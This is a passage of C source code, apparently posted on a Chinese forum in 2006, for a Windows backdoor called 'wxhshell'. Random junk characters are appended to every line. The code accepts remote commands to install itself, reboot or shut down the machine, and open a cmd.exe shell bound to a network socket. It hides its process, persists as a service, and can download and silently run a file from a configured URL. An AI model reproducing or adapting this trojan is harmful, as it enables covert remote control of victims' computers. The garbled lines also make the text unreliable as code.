      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [f~N_G6I^o  
    break; o/cjXun*  
  } &:*q_$]Oz  
  // 安装 c8 K3.&P6  
  case 'i': { 3B0lb "e  
    if(Install()) [t]X/O3<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f2)XP$:  
    else he3SR @\T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rd|uz4d  
    break; Z^KA  
    } bBxw#_3A?E  
  // 卸载 $.St ej1  
  case 'r': { eDO!^.<5  
    if(Uninstall()) eEc4bVQa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[nG}  
    else }}{!u0N},V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6"j_iB  
    break; {.e=qQ%P5)  
    } :q##fG 'm/  
  // 显示 wxhshell 所在路径 woH)0v  
  case 'p': { =/Aj  
    char svExeFile[MAX_PATH]; %T`U^ Pnr  
    strcpy(svExeFile,"\n\r"); =wu*D5  
      strcat(svExeFile,ExeFile); 5m$2Ku  
        send(wsh,svExeFile,strlen(svExeFile),0); i@"e,7mSG  
    break; <pLT'Y=  
    } gW(gJ; L,%  
  // 重启 {2'm^0Kl  
  case 'b': { Jhkvd<L8`m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Fnx`Ri  
    if(Boot(REBOOT)) J<j&;:IRd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jD,Baz<  
    else { Doze8pn  
    closesocket(wsh); /Wk9-uH  
    ExitThread(0); )w~Fo,   
    } Nf,Z;5e  
    break; r4_eTrC,  
    } ZsP2>%"  
  // 关机 I XA>`D  
  case 'd': { ["<nq`~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z;u> Yz+3  
    if(Boot(SHUTDOWN)) 0CvsvUN@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/i5,le  
    else { C2e.2)y  
    closesocket(wsh); F-Z%6O,2  
    ExitThread(0); ?^Hf Np9  
    } OIb  
    break; )8gGv  
    } Aez2*g3  
  // 获取shell :q3+AtF  
  case 's': { 4NVV5_K a  
    CmdShell(wsh); dm rps+L  
    closesocket(wsh); `A%^UCd  
    ExitThread(0); Z*{] ,  
    break; ye 6H*K  
  } YL^=t^ !4  
  // 退出 -!qu"A:  
  case 'x': { w6|9|f/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6x{<e4<n  
    CloseIt(wsh); Tz&Y]#h_  
    break; D8K-K]W@  
    } X##1! ad  
  // 离开 !SOrCMHx  
  case 'q': { 6" T['6:j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k ^'f[|}  
    closesocket(wsh); ?q2j3e[>  
    WSACleanup(); oj.A,Fh  
    exit(1); x90*yaw>h  
    break; :)f7A7:;  
        } pfuW  
  } Lr;(xw\['  
  } z~6y+  
z1OFcqm  
  // 提示信息 EfLO5$?rm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); td2/9|Q  
} @=S}=cl  
  } R  
u?ek|%Ok  
  return; I&c ~8Dw  
} )-rW&"{U  
H14Ic.&  
// shell模块句柄 YO)$M-]>%J  
int CmdShell(SOCKET sock) AT Zhr. H  
{ AZ|yX  
STARTUPINFO si; ,"-Rf<q/  
ZeroMemory(&si,sizeof(si)); G%p~m%zIK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>WWzikB*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "e3["'  
PROCESS_INFORMATION ProcessInfo; "tit\a6\(  
char cmdline[]="cmd"; .@ C{3$,VG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zZ-wG  
  return 0; ;.s l*q1A  
} ^he=)rBb?  
Yx'res4e  
// 自身启动模式 ?C0l~:j7D  
int StartFromService(void) dGfVZDsr]  
{ gxPx&Z6jF  
typedef struct O^>jdl!TZ  
{ UCrh/bTm  
  DWORD ExitStatus; 3CjL\pIC  
  DWORD PebBaseAddress; FUK3)lT  
  DWORD AffinityMask; WnFG{S{s  
  DWORD BasePriority; NIr@R7MKd  
  ULONG UniqueProcessId; gCd`pi 8  
  ULONG InheritedFromUniqueProcessId; `[#x_<\t  
}   PROCESS_BASIC_INFORMATION; :m=m}3/:  
OIHz I2{  
PROCNTQSIP NtQueryInformationProcess; ?{"mP 'dD  
:yT-9Ze%q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /76 1o\Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a\uie$"cr]  
C8N{l:1f]  
  HANDLE             hProcess; uNbH\qd=  
  PROCESS_BASIC_INFORMATION pbi; Hk_y/97OO  
v}G]X Z8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z7.|fE)<6  
  if(NULL == hInst ) return 0; _?7#MWe&  
C9n}6Er=,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jt~Qu-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5pNY)>]t=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '+'CbWgY  
<<9Va.  
  if (!NtQueryInformationProcess) return 0; ! ueN|8'  
I[MgIr^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h 6G/O`:  
  if(!hProcess) return 0; >>[/UFC)n  
ln*icaDqf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~s Qjl]  
?zJpD8e  
  CloseHandle(hProcess); fqz28aHh  
C`rLj5E%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e)nimq {6  
if(hProcess==NULL) return 0; G |*(8r()  
+,+vkpL-%  
HMODULE hMod; WE}kTq  
char procName[255]; ;P&y,:<m:  
unsigned long cbNeeded; ;T]d M fO  
5 v^yQ<70  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $!vxVs9n  
h)lPi   
  CloseHandle(hProcess); b/$km?R  
:vx$vZb  
if(strstr(procName,"services")) return 1; // 以服务启动 6Q4X 6U:WB  
IJOvnZ("A  
  return 0; // 注册表启动 rn@`yTw^  
} U;_[b"SW%  
4Ph0:^i_  
// 主模块 vP%tk s+.  
int StartWxhshell(LPSTR lpCmdLine) ~ jU/<~s  
{ \u-0v.+|  
  SOCKET wsl; 80}+MWdo  
BOOL val=TRUE; "}WJd$  
  int port=0; o 6{\Zzp  
  struct sockaddr_in door; Bsf7mcXz7z  
1L7{p>;-dO  
  if(wscfg.ws_autoins) Install(); C<^YVeG  
D\~zS`}  
port=atoi(lpCmdLine); }F6<w{|  
EO|:FcW  
if(port<=0) port=wscfg.ws_port; 9Ywpej*+  
JuRH>`  
  WSADATA data; pnyWcrBf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 09KcKhFB  
qM4c]YIaSl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|V4[ssB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [./6At&|  
  door.sin_family = AF_INET; }/dRU${!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ubsSa}$q  
  door.sin_port = htons(port); #BVtL :x@  
$aCd/&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3H\w2V  
closesocket(wsl); 3FSqd<t;D  
return 1; g3n'aD@'x  
} m8Vdb"0  
Y&H}xn  
  if(listen(wsl,2) == INVALID_SOCKET) { 2N#$X'8  
closesocket(wsl); <%}QDO8\i  
return 1; h/eR  
} g]@ (E  
  Wxhshell(wsl); !  hd</_#  
  WSACleanup(); !2\ r LN  
KAA-G2%M  
return 0; n>3U_yt6b  
V!%jf:k  
} IH48|sa  
~\p]~qQ\K  
// 以NT服务方式启动 ]  H~4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b2(RpY2Y  
{ .9*wY0:  
DWORD   status = 0; wZT%Ee\D%  
  DWORD   specificError = 0xfffffff; 8kE]_t  
;DA8B'^>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e<7.y#L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YG:3Fhx0~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M$4k;  
  serviceStatus.dwWin32ExitCode     = 0; e"]8T},  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 hj  
  serviceStatus.dwCheckPoint       = 0; VpfUm?Nq  
  serviceStatus.dwWaitHint       = 0; [u@Jc,  
Z 2}ah  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ft=zzoVKg  
  if (hServiceStatusHandle==0) return; e:E0"<  
'oNO-)p\#!  
status = GetLastError(); DBLk!~IF  
  if (status!=NO_ERROR) *,C(\!b !?  
{ 7 J^rv9i4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  mvW%  
    serviceStatus.dwCheckPoint       = 0; (z7vl~D  
    serviceStatus.dwWaitHint       = 0; rt3qdk5U  
    serviceStatus.dwWin32ExitCode     = status; # ?1Sm/5k`  
    serviceStatus.dwServiceSpecificExitCode = specificError; [P zv4+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<@j'Ok}.  
    return; uJx"W  
  } yNW\?Z$@q  
uY_SU-v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m p<1yY]  
  serviceStatus.dwCheckPoint       = 0; <99M@ cF  
  serviceStatus.dwWaitHint       = 0; ]Y6cwZOe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -m'j]1  
} ^2d!*W|  
AT2v!mNyCw  
// 处理NT服务事件,比如:启动、停止 %:>3n8n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sw^X2$h  
{ 65 z"  
switch(fdwControl) mS>xGtD&K  
{ -aRU]kIf  
case SERVICE_CONTROL_STOP: :.(;<b<\  
  serviceStatus.dwWin32ExitCode = 0; uZa9zs=} c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I{JU-J k|  
  serviceStatus.dwCheckPoint   = 0; 4p%A8%/q  
  serviceStatus.dwWaitHint     = 0; bn 6WjJ~Z+  
  { J{[n?/A{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7e7 M@8+4  
  } =/<LSeLxH  
  return; 1}hIW":3Sr  
case SERVICE_CONTROL_PAUSE: 4%WzIzRb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _(J&aY\  
  break; g&dPd7  
case SERVICE_CONTROL_CONTINUE: IcP)FB 4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4=uhh  
  break; 64Lx -avf  
case SERVICE_CONTROL_INTERROGATE: 4?N8R$  
  break; }'r[m5T  
}; ]v[|B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T|&[7%F3"  
} PFUO8>!pA\  
}:: S 0l  
// 标准应用程序主函数 MT(o"ltQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5<I   
{ _X ~87  
86@c't@  
// 获取操作系统版本 3mPjpm  
OsIsNt=GetOsVer(); :^UFiUzrE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ys_`e  
B1]bRxwn?  
  // 从命令行安装  zYXV;  
  if(strpbrk(lpCmdLine,"iI")) Install(); f}guv~K  
=U|N=/y#hJ  
  // 下载执行文件 1+b{}d  
if(wscfg.ws_downexe) { '|;X0fD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'mI'dG  
  WinExec(wscfg.ws_filenam,SW_HIDE); |AZg*T3:W  
} yA{W  
/iG*)6*^k  
if(!OsIsNt) { Pxn,Qw*  
// 如果时win9x,隐藏进程并且设置为注册表启动 P"sA  
HideProc(); p=/m  
StartWxhshell(lpCmdLine); XdH\OJ  
}  $R<Me  
else 3_JCU05H}  
  if(StartFromService()) hdTzCfeZ5@  
  // 以服务方式启动 %;#^l+UB  
  StartServiceCtrlDispatcher(DispatchTable); cj11S>D  
else iy""(c  
  // 普通方式启动 :JlP[I  
  StartWxhshell(lpCmdLine); 6TP7b|  
;lYHQQd!,  
return 0; P`r55@af4  
}
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只看该作者 1 发表于: 2006-10-10
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